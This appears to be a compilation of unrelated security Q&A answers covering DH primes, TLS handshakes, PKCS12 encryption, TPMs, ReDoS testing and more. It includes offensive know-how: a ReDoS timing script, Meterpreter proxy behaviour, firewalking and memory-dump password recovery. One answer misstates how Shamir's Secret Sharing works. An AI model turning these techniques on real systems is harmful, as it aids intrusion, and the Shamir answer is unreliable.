Where n is the number of bits in the modulus and c is the smallest positive integer that makes p a safe prime. This makes it apparent that there are no unexplained values used in generating any of these standard moduli.
This is not a panacea. For an algorithm where a significant number of randomly chosen constants lead to weakness, the number of adjustable elements in the selection procedure may make it such that apparently simple constants are vast enough that one which inserts a backdoor can be searched for. Luckily, it seems that DH is picky enough about its primes that this becomes a bit harder. Still, it's better to simply use π than it is to use the binary representation of a well-known document, or a more obscure but still irrational number, or something personal like your family's dates of birth. π provides uniform random distribution and is irrational, so it is suitable for all constants which do not need to be in a specific range and do not need to be secret.
Unpredictable public randomness
If the fact that this deterministic generation would allow an adversary to be able to precompute future moduli for themselves (and thus predict future output) is problematic, then a distributed shared randomness protocol that ensures future output will not be predictable would be desired. This has been done by Tor Project, under the name Shared Randomness Protocol. Values cannot be predicted in advance, but can be verified as having been published in the past. The Tor protocol releases a new value every day at 00:00 UTC in its consensus document. These values can be used for generating new DH moduli, for example by feeding it into a DRNG.

A diagram showing a comparison between the properties provided by their method, safe numbers (nothing-up-my-sleeve numbers), and shared randomness (like Tor's protocol) is shown here:
+---------------+-------------+--------------+-------------+----------------+
|               | Value known | Reproducible | Predictable | Trust required |
+---------------+-------------+--------------+-------------+----------------+
| Their method  | no          | no           | no          | yes            |
| Safe numbers  | yes         | yes          | yes         | no             |
| Shared random | yes         | with value   | no          | low            |
+---------------+-------------+--------------+-------------+----------------+

The candidate prime generation process can be described in this way:

Seed a deterministic random number generator (DRNG) with a value, k.
Extract an n bit integer, p, from the DRNG, where n is the desired modulus size.
If p is not an odd integer, increment or decrement it by one.
If p is not a prime or (p-1)/2 is not a prime, jump to step 2.
Consider p a candidate. If sufficient candidates have not been found, jump to step 2.

The first method selects k from an internal entropy source, such as the Linux kernel's entropy pool. The second method selects k from a nothing-up-my-sleeve number, such as π. The third method selects k from an unpredictable public random value, such as Tor's current shared random value. It's up to you to determine which of these provide properties which satisfy your threat model. You may just be better off generating your own parameters locally, as that does not hide the initial seed for you, is reproducible with the seed, is unpredictable, and requires no trust.


Fixing security issues without boss/client's authorisation

Every fix is a business decision. The business needs to make the call. You, as the one with the knowledge, need to properly inform and guide the business through the matrix of needs and costs. Optimally, there are policies and procedures in place to identify and incorporate fixes over time based on cost and priority, but unfortunately, not all do.

As for fixing a problem without oversight, what happens if you cause an even greater security problem? What if you expose the business to costs and damage as a result of unintended consequences? Oversight exists for a reason, to protect both you and the business.

As for ethical concerns, there is open debate of the ethics of information. In a situation where life and health are threatened, there are clearer and more defined ethical lines. Threats against information are more difficult to understand ethically. I have had discussions with some in the health care industry who have proposed the idea that a human's information is worth more even than a human's life (because it can effect the life and health of untold numbers of other humans).

Educate, inform, guide, encourage, and talk in terms that make sense to the business. These things you must do ethically and with passion.


I think it's kinda same as RSA you're used to. Most of CAs such as Digicert already supported, just use the same openssl toolsets.

For examples in Digicert guideline:

To create key in EC:

openssl ecparam -out server.key -name prime256v1 -genkey

And create CSR as usual:

openssl req -new -key server.key -out server.csr -sha256


How to verify Google sign-in screen is legit? (Linux Desktop)

Here are some ways I can think of but if someone tried hard enough I don't think there would be a way to stop him.

Check a fake email - Google's login will only display a password input if the username exists so by entering any email you know does not exists (Ex: ajksjdlalsjdlkasldkldjalk@gmail.com) if the password box still shows up then it is not a genuine Google login page.

Try viewing the source - Since the app is pretty much a browser you might be able to view the source. Try right click and view source or F12.

Packet sniffer - Download a packet sniffer such as Wire Shark and check where the traffic is coming from. Is it from Google or from another source?

These are only a few examples but sadly there is no solid way I can think of. Be cautious and pay attention to anything abnormal.


Password Reset Chatbot with Authentication through text message

A few quick things that come to mind:

What is the method of entry? If the user is inputting the password into the "chatbox", you run the risk of someone simply looking over the users shoulder and seeing the password.

Will you be using rate-limiting? SMS messages, while very cheap, are not free to send. You don't want to foot the bill when Joe decides to send ten-thousand password-reset messages to Carl. You'll also need to rate-limit entries, to avoid someone brute-forcing all possible combinations. Make sure you do this by both username and IP.

On that topic, you'll need to have a fairly long authentication code: most 2FA sites use 2FA as a backup method of authentication, not the "keys to the kingdom". Since you're relying to heavily on the server-generated code, you'll need to make sure it's long enough to make distributed brute-force infeasible.

You'll have to make sure to explain what the message is, in the body of the message. For example, "Your WidgetCo password reset code is: 123456" - this way, people can know that they're under attack, as opposed to just getting a bunch of random numbers over text (although since there's no other authentication, users can't do much even if they know they're under attack).

Finally, keep in mind that you're also at the mercy of the mobile carriers security - all this is for naught if I can just call up Verizon and social engineer them into telling me the text.

Overall, I'm not certain this is a great idea - using an email for recovery (with 2FA) would make more sense, and using OAuth would be much more secure, while being much less of a headache for you.


Difference between .pfx and .cert certificates

There are two objects: the private key, which is what the server owns, keeps secret, and uses to receive new SSL connections; and the public key which is mathematically linked to the private key, and made "public": it is sent to every client as part of the initial steps of the connection.

The certificate is, nominally, a container for the public key. It includes the public key, the server name, some extra information about the server, and a signature computed by a certification authority (CA). When the server sends its public key to a client, it actually sends its certificate, with a few other certificates (the certificate which contains the public key of the CA which signed its certificate, and the certificate for the CA which signed the CA's certificate, and so on). Certificates are intrinsically public objects.

Some people use the term "certificate" to designate both the certificate and the private key; this is a common source of confusion. I personally stick to the strict definition for which the certificate is the signed container for the public key only.

A .pfx file is a PKCS#12 archive: a bag which can contain a lot of objects with optional password protection; but, usually, a PKCS#12 archive contains a certificate (possibly with its assorted set of CA certificates) and the corresponding private key.

On the other hand, a .cert (or .cer or .crt) file usually contains a single certificate, alone and without any wrapping (no private key, no password protection, just the certificate).


Have gotten a blackmail email with a password of mine - what to do?

Ignore the email.

Change all your accounts that use that password.

Move on.


Strength of RSA encryption with or without a public key

No widely used system uses RSA to encrypt data. RSA is slow. Really slow. RSA is used together with an symmetric cypher like AES. A random key is created for AES, the data is encrypted with AES and that key. Then the Key is encrypted with RSA and thrown away.

If you can crack the symmetric cypher (usually AES nowadays) you can also break the hybrid encryption. In practice, there is no advantage for you. In one case, the attacker has to break AES. In the other case, he can either break AES or RSA to get your message!

I don't think there is a thorough analysis of the RSA strength without the publik key known. It depends on the exact software/format you use, if the public key is embedded or not. It is quite possible to not embed it. But in the end, RSA just has no use case when it is not used as asymmetric cryptography.

If RSA is secure and no fault is found, then it still can be decrypted if you have the public key and can factorize it. For AES this isn't true. If no flaw is found in AES, it cannot be cracked. It is just possible to brute-force attack it. This means trying all keys and check if a valid message is output. Depending on the format of your message, even deciding if the message is valid is very hard.

If you don't need asymmetric cryptography, use symmetric cryptography!


Trustworthy Android recovery image that allows rooting?

There are md5sums for twrp via techerrata I'm sure; you could download the image via different machines and compare.

Due to changes in Android 4.3 the Superuser app on F-Droid won't work. They haven't published the working version because of a silly reboot binary blob: https://github.com/koush/Superuser/issues/184. Since you have no real reason to trust f-droid.org either and since it is relatively simple, you may as well build the su/app yourself via the SDK/NDK or AOSP setup, following the recipe for the previous versions (see gitorious.org/f-droid) with the additional removal of the reboot binary beforehand (it should be as simple as that). Install via adb in recovery.

If you want to keep the current ROM the above path is best, though Google Play (now using https I think) could be used to download the Superuser app (which contains su). If you'd prefer to place your trust in another ROM, then it could be possible to create fastboot compatible images from a downloaded zip. I don't know of another way of rooting than going via recovery.


CVV info for over the phone or by mail transactions

The subscriber was wrong. From PCI DSS 3.2.1: "The purpose of the card validation code is to protect "card-not-present" transactions—Internet or mail order/telephone order (MO/TO) transactions—where the consumer and the card are not present." You aren't allowed to store the CVV number, but you are expected to enter it into a virtual terminal when processing phone payments, for example.


Do known plaintext attacks lead to exposure of the key?

I assume you mean encryption when you say "encoding".

This model of attack is known as the known-plaintext attack. It is a situation where an attacker has samples of both the encrypted ciphertext and the corresponding plaintext. All commonly used encryption schemes thought to be secure are resistant against this form of attack (resistant meaning there is no better method than a naive bruteforce attack on the key).

In fact, most modern symmetric ciphers are secure against a much stronger model of attack, the chosen-plaintext attack where an attacker has the ability to encrypt arbitrary amounts of plaintext data and obtain the corresponding ciphertext.

So the answer to this is no, you are very wrong, at least when referring to encryption schemes that you should be using in real world situations.


If there is just a single user on a machine then permission controls don't really come into play and the /etc/fstab produced at install is sufficent.  If the machine is compromised, its very likely that the hacker will be running as you, and then file permissions are a moot point.

Unix file permissions are designed for managing multi-user systems,  and you don't have multi-user system.


How safe are hardware-backed keys in Android, when crypto operations take place in memory?

There might be a critical misunderstanding here...

  when all the crypto operations take place in normal memory

Normally when the key is stored in hardware it can never be removed from the hardware, and as such it actually cannot be used in normal memory. The actual crypto operations take place in dedicated crypto hardware.

  HAL implementations must not perform any sensitive operations in user space, or even in kernel space. Sensitive operations are delegated to a secure processor reached through some kernel interface. Source

What the code offers is simply an abstract interface to interact with the key. What's actually going on is the system is handing off the requests to the crypto hardware and then just waits for a response.

With that said, the whole system offers no protection at all if the key is moved into memory for crypto operations.


Chrome is flagging SHA-1 signed certs based on their expiration date.

For the full details on the different dates and indicators, please review:

http://googleonlinesecurity.blogspot.com/2014/09/gradually-sunsetting-sha-1.html

The cert Amazon has deployed expires Oct 2nd, 2015.


Need for additional verification in mutual TLS authentication with own CA

First, a brief on how TLS works and why it is used-

TLS is used to provide encryption to the data stream and form a secure channel between the user and the server. A TLS Handshake is used to authenticate the server and generate the session keys to be used in the encryption process. TLS uses a combination of symmetric and asymmetric cryptography and hence, a prerequisite for this is that the server and the user need to have public and private keys generated for themselves. Additionally, The server needs to have a valid SSL/TLS certificate which it can send to the user, which the user can then use to verify the server’s identity (checking with the Certificate Authority that issued it) and also get the server’s public key. The user sends a premaster secret encrypted with the server’s public key and the server decrypts it using its private key. Both parties now generate the session key using this premaster secret and previously exchanged nonces.

As long as the Certificate for the user is valid, the data is encrypted, and hence secure in transit.

Without the Certificate from the CA, A MITM (Man in the middle) attack is very well possible as the public key received can not be verified.
Even stolen certificates are a problem (Refer to the Stuxnet attack for more on Stolen digital certificates from Realtek and JMicron).

I hope I answered your question correctly :)


The "secure renegotiation" issue is about what happens when doing a second handshake within the context of the first. That's what you do with R in the openssl s_client command; but it implies that the second handshake is encrypted, so it is expected and normal that you see only "encrypted handshake" messages. If you want to see the message contents, use the -msg command-line option on OpenSSL; it will print an hexadecimal dump of the handshake message before encryption. For instance:

$ openssl s_client -connect nameofsomeSSLserver:443 -msg
(...)
    Start Time: 1388406589
    Timeout   : 300 (sec)
    Verify return code: 20 (unable to get local issuer certificate)
---
R
RENEGOTIATING
>>> TLS 1.1 Handshake [length 00eb], ClientHello
    01 00 00 e7 03 02 52 c1 67 3f 99 89 75 92 fa e6
    97 f3 c3 8a f5 2c 30 ba bd 0c 20 e9 1e 3c eb 4b
    3c 2f 85 ec cd 24 00 00 64 c0 14 c0 0a c0 22 c0
    21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00
    84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0
    03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00
    9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00
    41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00
    12 00 09 00 14 00 11 00 08 00 06 00 03 01 00 00
    5a ff 01 00 0d 0c 63 74 19 13 be ac 02 22 04 ed
    81 61 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32
    00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a
    00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04
    00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10
    00 11 00 23 00 00 00 0f 00 01 01

In that ClientHello, we can see the different parts:

01 00 00 e7: a ClientHello of size 231 bytes (0xE7).
03 02: protocol version (TLS 1.1 in this case).
52 c1 ... cd 24: the "client random" (32 bytes).
00: empty session ID (the client wants to negotiate a new session, not an abbreviated handshake).
00 64: length of the list of cipher suites (100 bytes, for 50 cipher suites).
c0 14 ... 00 03: the cipher suites supported by the client (100 bytes).
01 00: one supported compression method: the null compression (i.e. no compression at all).
00 5a: length of the list of extensions (90 bytes).
ff 01: extension type renegotiation_info, as specified in RFC 5746.
00 0d: extension contents have length 13 bytes.
0c: the renegotiated_connection data has length 12 bytes.
63 74 19 13 be ac 02 22 04 ed 81 61: that's a copy of the 12-byte contents of the Finished message from the client during the previous handshake.
then come a few other extensions.

So this message indicates a "secure renegotiation" as per RFC 5746.

The -reconnect command-line option does something completely different: it connects, does the handshake, then closes the connection, and then reconnects with a new connection, and tries to resume the session. Session resumption is quite the opposite of secure renegotiation: session resumption is about reusing the master secret of a previous connection over a new one, while secure renegotiation is about making a new master secret while keeping on the same connection.


Bluntly put, yes, they could. That's the massively oversimplified answer.

The more complicated answer is that you need to understand how your operating system handles memory. You might hear talk of rings, privilege levels etc. Let me explain briefly:

When your operating system starts (getting passed the whole 16-bit BIOS thing) it basically has a whole pile of memory (your entire RAM) to work with and does so in a privileged mode, which means it can do whatever it likes to any part of memory.
However, x86 architectures since 1980-something before I was born have supported the concept of protected mode, where the CPU hardware provides mechanisms to allow the operating system to launch applications in such a way that their memory addresses are segregated.
Thus this protected mode allows the operating system the ability to create a virtual address space for each application. What this means is that an application's concept of memory is not the same as actual physical memory addresses and that the application does not have privileged access to memory. Indeed, applications are directly prevented from modifying each other's memory addresses because they can't see it, except via well defined requests to the operating system (syscalls) for requests for things such as shared memory, where two processes share an address space.

(this is a simplification and I'm skipping huge chunks for brevity's sake, but that's the gist - applications have their requests to access memory managed by the OS and hardware).

So theoretically, you're OK, right? Not technically true. As I said, operating systems do provide well defined ways to access other processes' memory. In terms of the possibilities, here are how a few might present:

If I dump the memory of the application, I can resolve that stored password fairly easily.
A debugger or an appropriately designed userland-style rootkit might be able to provide me access to that memory. I'm not an expert on such techniques, but know it can be done under certain circumstances.
Finally, the operating system may be self-defeating here. The virtual memory you have access to has some other consequences. Operating systems present it as virtual because they often swap memory in order to ensure there is sufficient RAM available for currently running apps. So an interesting attack might be to cause the system to swap, then crash it and examine the swap partition. Is your swap encrypted too?

Finally, I should point out that if your attacker is running code in the kernel via a kernel module, the game is over anyway, since there is nothing stopping them searching your memory space for ascii strings.

However, to be realistic:

If your kernel is compromised via a rootkit, a keylogger is probably easier to implement than something designed to scan memory in terms of grabbing your passwords.
Userland style rootkits involving debuggers for evaluating programs not designed to be debugged (i.e. without debugging symbols etc) are not going to be an easy thing to implement, even if they are theoretically possible. It also isn't easy to exploit this - you, the user, would have to be tricked into executing said editor under the debugger which probably implies social engineering or physical access.

My recommendation, however, is that you never store plaintext passwords anywhere. If you need a reminder, I suggest using a partial incomplete prompt that will jog your memory and allow you to deduce the passwords but reasonably prevent other people from doing so, even if they know you. This is very far from ideal, but better than plaintext passwords.


Answer. Yes.  This is a fine way to generate a session ID.

Rationale. The private_secret will be unguessable and cryptographically strong (that is guaranteed by urandom()).  So, all you need is that the combination of time.time() and your random.randint() numbers are unique: that combination should never repeat.  That should be pretty much guaranteed.  The Python random number generator shouldn't repeat for a long time, so you should be fine.

For more, see Is a rand from /dev/urandom secure for a login key? for a related question.

Caveat.  The only risk factor I can see would be: if you run the server process in a VM, starting from the same checkpoint every time.  (In other words, before deployment you boot up the guest OS in the VM once and checkpoint it at that point; then every time you start up your web service, you start it up from that checkpoint.)  In that situation, os.urandom(), time.time(), and random.randint() could all repeat, causing you to allocate the same session ID to two different clients.  But as long as you don't use a VM in that way, you should be fine.

An alternative. A simpler way and just-as-secure implementation would be to use the following:

def generateRandomSessionKey():
    return hexify(os.urandom(16))


Is encrypting a private key inside a pkcs12 file using openssl secure?

Some.
openssl pkcs12 (export) by default encrypts the privatekey (in a PKCS8 'bag') using the scheme pbeWithSHAAnd3-KeyTripleDES-CBC defined in PKCS12 aka RFC7292 appendix C which uses 3-key TDEA aka 3DES (as it says) and the PBKDF defined in appendix B with SHA-1, 2048 iterations and 8-byte salt; this doesn't appear to have an official name so I just call it PKCS12PBKDF. This seems to be an unwritten convention; all other programs I know of that create PKCS12 also use this scheme, at least by default and sometimes unconditionally. In OpenSSL you can use -key_pbe to specify any (other) PKCS12 scheme (or any PKCS5v1 aka PBES1 scheme, but don't because they're all obsolete and broken) or the PKCS5v2 PBES2 scheme with any supported cipher (in CBC mode) but always with PBKDF2, SHA-1, 2048 iterations, and salt. Although PBKDF2 is technically different from PKCS12PBKDF, the differences don't matter to security AFAICS.
This fixes the most glaring flaw in OpenSSL's 'legacy' PEM-file encryption, that it uses only one iteration of MD5. (Using MD5 is not a problem in itself; although MD5 is badly broken for collision, that doesn't apply to a PBKDF. But since the letters MD5 now provoke irrational panic in checklisters, managers, and other fairy-dust believers, and we have better hashes available, we use them.) But 2048 iterations is not great; it was considered adequate when PKCS5v2 was published back in 2000 but hardware has improved a lot since then and nowadays 10s or 100s of thousands are usually preferred, and some go for millions or more. More importantly, hardware has changed to make raw computation more available in the form of GPUs, FPGAs, and even ASICs, so nowadays an iterated hash is no longer best practice; instead we want a 'memory-hard' function like scrypt or Argon2; see e.g.:
In 2018, what is the recommended hash to store passwords: bcrypt, scrypt, Argon2?
Are there more modern password hashing methods than bcrypt and scrypt?
Is bcrypt better than scrypt
Do any security experts recommend bcrypt for password storage?
How to securely hash passwords?
Why are salted hashes more secure for password storage?
How are SCrypt's memory-hard requirements substituted with more CPU?
Has scrypt been broken, finally?
https://crypto.stackexchange.com/questions/959/strength-of-multiple-hash-iterations
https://crypto.stackexchange.com/questions/12795/why-do-i-need-to-add-the-original-salt-to-each-hash-iteration-of-a-password
https://crypto.stackexchange.com/questions/3252/is-bcrypt-better-than-gnuppgs-iteratedsalted-hashing-method
https://stackoverflow.com/questions/3897434/password-security-sha1-sha256-or-sha512
If you want the most secure private key encryption in OpenSSL 1.1.0 up (these versions are now widespread though not everywhere) use openssl pkcs8 -topk8 -scrypt plus optionally -scrypt_[Nrp] $val if you want to customize although the defaults should be satisfactory. Note however this is not necessarily portable to anything other than OpenSSL. You can also use PKCS8 with PBES2/PBKDF2 but increase the iterations (an option not available for the pkcs12 command) with openssl pkcs8 -topk8 -v2 $symmcipher -iter $num; this is much more interoperable and probably secure enough (given a good password and a decent $symmcipher). (As I noted on a different answer to the Q you link.)


Can IP header TTL values be exploited as an attack vector? If so, what can protect against that?

Could this header be exploited and set to a really high value thus
generating excessive network load/volume?

No; each device in the path decrements the TTL, but decrementing a big number is no more expensive than decrementing a small number.  Knowing most packets rarely exceed their TTL, increasing the TTL won't cause the packet to traverse the network any longer than it would otherwise.
The one aggressive use the TTL can be put to is firewalking.  By sending packets with carefully crafted TTLs to a destination behind the firewall, you can map out what the firewall and devices behind it are permitting.


I know there are many security frameworks and "building" a security framework is a bad idea.

  In the recent project I have worked on, I used spring security to secure the web application. In the process, I over rided/tweaked some spring security classes to fit my requirement.

  My management now wants me to "takeout" the things I did and distribute it as a re usable code in an internal portal. Now, Is this is a fair thing to ask?

It's not smart. Unfortunately, I don't know enough about what you tweaked or the depth or your management's experience and understanding. My guess is that your management is thinking:

'Wow our engineer made a major security improvement in an established framework, that has got to be worth a lot.'

and 'It's already written, just a little repackaging and sales will be rolling in.'

  I tried to explain them it's just some classes build on spring security and nothing special. But they are insisting on "creating" this framework. Is this a fair requirement?

It doesn't seem sound. There seems to be a distinct discrepancy between your view of what you have done and your management's view of it. Your management likely have a better understand of business and product creation, and you likely have a better understanding of technical matters. It may be that your work has incredible product value that your management sees and you don't. However I am more inclined to believe that your work is good but not significantly valuable as a product and your management are mistaken in their enthusiasm.

Let me put it this way. How difficult would it be for a competitor to have a developer of your skill, and for that developer to do work equivalent to what you have done. If the answer is very difficult then as long as there are companies who what what you did you have a product. If the answer is not difficult, then turning your work into a product is more about volume of sales and operational overhead than about technical merit.

  Any ideas on how to start?

If you do go forward then spend a sufficient amount of time on requirements and design. Understand what management expects this product to be, and derive design goals from those expectations. Plan for test, release, maintenance, updates, and end of life. Communicate continuously with your management. If you have issues then let management know, sometimes they can help or redirect your efforts.

  If I am building this, what are the functions I need to provide?

That will depend on your design goals, which should in turn depend on managements requirements or concept for the product.


Is this regular expression vulnerable to DoS?

Tricky one! I can't seem to trigger the exponential complexity this (\.[CHARS]+)* pattern should introduce. I can make it be a little slow with a huge string (a few megabytes), but I guess that is to be expected with any regular expression. In Python:

import time, re
t=time.time()
print(re.match(r'^[\w!#$%&\'*+/=?`{|}~^-]+(\.[\w!#$%&\'*+/=?`{|}~^-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,6}$', 'a.'+'xb'*2500000+'test@example.com'))
print(time.time()-t)
t=time.time()
print(re.match(r'^[\w!#$%&\'*+/=?`{|}~^-]+(\.[\w!#$%&\'*+/=?`{|}~^-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,6}$', 'ax'+'.b'*2500000+'test@example.com'))
print(time.time()-t)

In the first test, we supply a long string where the xb pattern is repeated. This matches just the first part (namely, [CHARS]+) and not the second (namely, (\.[CHARS]+)*)). The second test does the opposite: it repeats the '.b' pattern which matches the second part a lot of times (where the backtracking should be) and not the first.

As output, you can see the difference in time it takes:

0.06872129440307617
0.3483853340148926

Both strings are equally long, so the pattern does take some more time.

Usually, one would use the second pattern and then make the end not match, so remove the .com part or something. The regex engine would start to backtrack and take exponentially longer with each iteration. I'm not sure why that does not happen here.

So far as I can see, you might be safe by just limiting the input length to a few kilobytes. But I am probably just too stupid to trigger it; using a pattern that is known to be vulnerable is just asking for someone to come along and figure it out ;-)


What are the security risks of using downloadable email vs. remote/online email?

Both approaches have their own risks: If you have your mail remote then you fully depend on the security provided by the external provider. If you host it locally it is more under your control. Which is more better depends an what you and what the provider are able and willing to do regarding security but the provider is definitely the more lucrative target for an attacker and thus needs to have better protection.

Apart from this general statement I could think of several particular problems:

With web mail the provider has to deal with the usual than you you are open to all the web based risks, like CSRF, XSS, session hijacking etc. That risk does not exist when stand alone mail clients are used.
If the mail is stored permanently at an external provider you risk that this provider gets hacked and all mails (with confidential company data) get exposed.
If your company has full control of incoming (IMAP, POP) and outgoing (SMTP) mails it makes filtering much easier. This includes filtering for malware, phishing and spam, restriction who can send, detection of data leakage etc. On the other hand a good external provider might offer better protection than a cheap in-house solution.


If by "2-Way" you mean "SSL with certificate-based client authentication", then you can expect the following overhead:

Server sends a CertificateRequest message which contains the list of the names of the root CA that the server will use to validate the client certificate. Depending on the list of such CA, this message may have a non-negligible size (say 10 kilobytes). Of course, in any reasonable setup, the server should accept only one or two CA, leaving this message size way below 1 kilobyte (but many Windows/IIS are not very reasonable).
Client sends its certificate as part of a chain. Typical size of a certificate is 1 to 2 kilobytes, and the client chain will contain between 1 and 4 certificates (it may contain more, but if it does, then you are doing weird things with your PKI).
Client will compute a signature, and the server will verify the signature. On a basic PC, with RSA, signature generation time will be a few milliseconds, and verification will be at least 20 times faster than that. If the client uses a smartcard, then signature generation time will probably be around 1 second or so (main bottleneck is I/O speed with the card).
The signature from the client is also sent by the client (around 260 bytes for a 2048-bit RSA).

The client authentication with certificates incurs no extra roundtrip, but it does mean some more data during the initial handshake (as explained above, up to a few dozens of kilobytes) and some extra CPU (in amounts similar to what the server must compute anyway). Once these certificate games have been played, the rest of the connection is identical to what would occur without a client certificate. No further impact.

Moreover:

Once a client and a server have done one handshake with certificates, they both know a shared secret, which they can reuse. Further connections will use the abbreviated handshake which implies no asymmetric cryptography, and is faster (in particular, one less network roundtrip). This keeps the overall cost low in a typical server.
In many setups, certificate-based client authentication is done with a renegotiation: the client first connect "anonymously" to the server, and then the server asks for a new handshake within the connection, this time with a client certificate. This is often needed in an HTTPS context, because the server will learn the target URL only when the first handshake has been completed, and only then will the server know that the client wants to reach a part of the site which requires client authentication with certificates. With a renegotiation, the second handshake means two extra network roundtrips.

Login+password authentication has bigger overheads because you will have to send a redirection to a login page, and then verify the password. The processing of the login page, the extra graphical interface work on the client, and the slow hashing on the server for password verification, will incur network and CPU overheads which totally dwarf out the costs for client certificates. Thus, switching from login+password to certificates is likely to lower network and CPU costs on your server.

(But certificates mean certificate management and PKI, and that's again much bigger costs.)


How does Amazon Web Services generate SSH Keys?

Finally, does it make sense worrying about this since AWS... could dump my keys

No, it doesn't make sense. The keys you are discussing are for protecting communications from your client to Amazon's servers. The keys protect you against a network-based attacker such as a MITM on the network. It doesn't make sense to change the question/threat model and treat Amazon itself as a local attacker, that's not what the keys are to protect against.


Can full disk encryption make malware recovery more difficult?

Yes, full disk encryption is designed to stop those exact attack tools from operating.  And that's a good thing, not a bad thing.

Tools like a RescueCD exist only to clean up the mess after someone incompetent failed to take proper care of their system.  In a properly managed system, the admin will have made periodic backups of important files.  A crash will be an inconvenience, not a risk.

In the rare case of a disaster that resulted in important data loss, the administrator still has the keys, and can possibly decrypt the data for recovery efforts.

On the other hand, tools like a RescueCD are great tools for an attacker.  If the attacker cuts power to the system before the operator can secure all their files, the attacker can simply use these tools to access them.  Or if a system has crashed in the middle of a sensitive operation, and the administrator doesn't realize that it's left unsecured data behind on the hard drive, that data can reappear later, such as when the disk is salvaged.


Code-Signing: Why is the CA process different from web site certificates?

You didn't miss anything. This is bad practice and the policy your company has in place has good reasons.

This also isn't specific to code signing; CAs (used to?) do this with TLS certificates for domains as well. To be clear: there is no reason to have the certificate generated in the browser or on the server. It's also not verifiable for the regular user whether the server does know the private key to that certificate, which is in itself a problem.

Now, however, this could be considered a usability feature as you do need additional software or skills to obtain a certificate.


It depends on your threat model. A TPM has multiple purposes, but the most common purpose is measured boot. That is, a TPM will verify the integrity of the BIOS, option ROMs, bootloader, and other sensitive boot components so that it is able to detect an evil maid attack or modified firmware. If your threat model includes an adversary which is able to modify firmware or software on your computer, a TPM can provide tamper-evidence to ensure that it will not go undetected.
So how does a TPM work? It's actually pretty simple when you get down to it. The TPM measures the hashes of various firmware components* and stores the hashes in registers called PCRs. If the hashes all match a known value, the TPM will unseal, allowing itself to be used to decrypt arbitrary data. What data it decrypts is up to you. Most commonly, it is part of the disk encryption key. Unless every piece of firmware and boot software has the correct hash, the TPM will not unseal and the encryption key will not be revealed. TPMs can be used for a lot more, but the idea is the same.
* Technically, the TPM is passive and cannot actively read firmware, bootloaders, or other data. Instead, a read-only component of the BIOS called the CRTM sends a hash of the BIOS to the TPM, starting the chain of trust. This component is read-only to ensure that a modified BIOS cannot lie to the TPM about its hash.

So is TPM worth it or is it just an unnecessary potential point of failure? Would my security and privacy be safer if I didn't use a computer with TPM at all? Full disk encryption with VeraCrypt sounds safe enough even for the most illegal use cases (NSA-proofed).

Remote attestation is not something you will likely need to use. It is however not at all unsafe. All it does is allow a remote device to prove to the appraiser that the firmware and software it is running matches a known-good hash. It does not allow remotely controlling the machine. It is up to the OS to do the remote connections and send the data to the TPM. The TPM itself isn't even aware that it is being used for remote attestation. In fact, remote doesn't even have to mean over a network. There are very clever implementations that use a TPM to remotely attest the computer's state to a secure USB device! There are no privacy issues with a TPM's unique private key either due to a TPM's ability to sign things anonymously using DAA, or Direct Anonymous Attestation.
Let's go even further and assume the TPM is not only useless, but downright malicious. What could it do then? Well, nothing really. It lacks the ability to send the so-called LDRQ# signal over the LPC bus which is necessary to perform a DMA attack. The only thing it could do is say "everything is OK" when in reality the firmware has been tampered with. In other words, the worst a malicious TPM could do is pretend it doesn't exist, making a malicious TPM no worse than no TPM.
It is completely possible to safely remove the TPM from the motherboard. There is nothing that requires it be there. If it is not present, you will simply not be able to verify a chain of trust to be sure that firmware has not been tampered with. Note however that many modern CPUs have an integrated TPM, but it can be easily disabled, with the same results as removing the physical one. Note that some newer versions of Windows do require a TPM's presence in order to secure the boot process. If the TPM is removed, you may need to modify the OS and UEFI settings so it no longer requires it.

In the section on the bottom, it mentions some criticisms of TPM such as remote validation of software - manufacturer, not the user decides what can be run on the computer. This sounds scary.

The worry is that, in the future, manufacturers might use the TPM to prevent you from making sensitive modifications to your system. By default, TPMs will obey only its owner. If you tell a TPM that the current state of the system is known-good, it will always check to make sure the system is in that state. If an evil manufacturer sets the TPM to believe that a known-good state is one where malicious DRM and other rights-restricting software is enabled, then we have a problem. For current TPMs, it's entirely up to you to decide what software you want to run! They don't restrict your rights.
Another criticism is that it may be used to prove to remote websites that you are running the software they want you to run, or that you are using a device which is not fully under your control. The TPM can prove to the remote server that your system's firmware has not been tampered with, and if your system's firmware is designed to restrict your rights, then the TPM is proving that your rights are sufficiently curtailed and that you are allowed to watch that latest DRM-ridden video you wanted to see. Thankfully, TPMs are not currently being used to do this, but the technology is there.
The overreaching issue is that a TPM can prove both to you locally, and to a remote server (with the OS handling the networking, of course) that your computer is in the correct state. What counts as "correct" hinges on whoever owns the TPM. If you own the TPM, then "correct" means without bootkits or other tampering. If some company owns the TPM, it means that the system's anti-piracy and DRM features are fully functional. For the TPMs in PCs you can buy today, you are the owner.

Also, VeraCrypt doesn't support TPM which raises some concerns. If they don't trust it, why should I?

VeraCrypt actually has added support for TPM version 1.2 and experimental support for TPM version 2.0 in VeraCrypt release 1.20, although they have not yet edited their documentation to reflect this. They originally were resistant because the original TrueCrypt authors did not understand the TPM. Its purpose is not to assist with disk encryption, but to verify that the firmware and important boot software (including the VeraCrypt bootloader!) have not been tampered with.


Technology that can survive a "Rubber-Hose attack"

Shamir's Secret Sharing is a method for this. It allows one to encrypt a file with a public / private keypair, and then effectively split up the parts of the private key to be distributed to several different people. After that action (and assuming the various parts and original input private key are destroyed after distribution), it would require a quorum of people to act together in order to decrypt the data.


Meterpreter bind or reverse http and https support web proxies transparently. The reason is that both uses the WinInet API for accessing the Internet and the API takes care of the proxy authentication. By default meterpreter http(s) support only NTLM authentication for the proxy. If you are dealing with a proxy that is using basic authentication, you can use Meterpreter with basic authentication suppport. It hasn't been merged in the main msf tree but you can add it to the modules tree manually.


Could someone help me deobfuscate this malicious script code

You seem to have malicious web content there.  It might be useful to spend some time learning about cookies and PHP.  This is a manually encoded cookie, and it refers to two other server-side codes (probably also PHP code):

"/configurationbak.php"
"/"

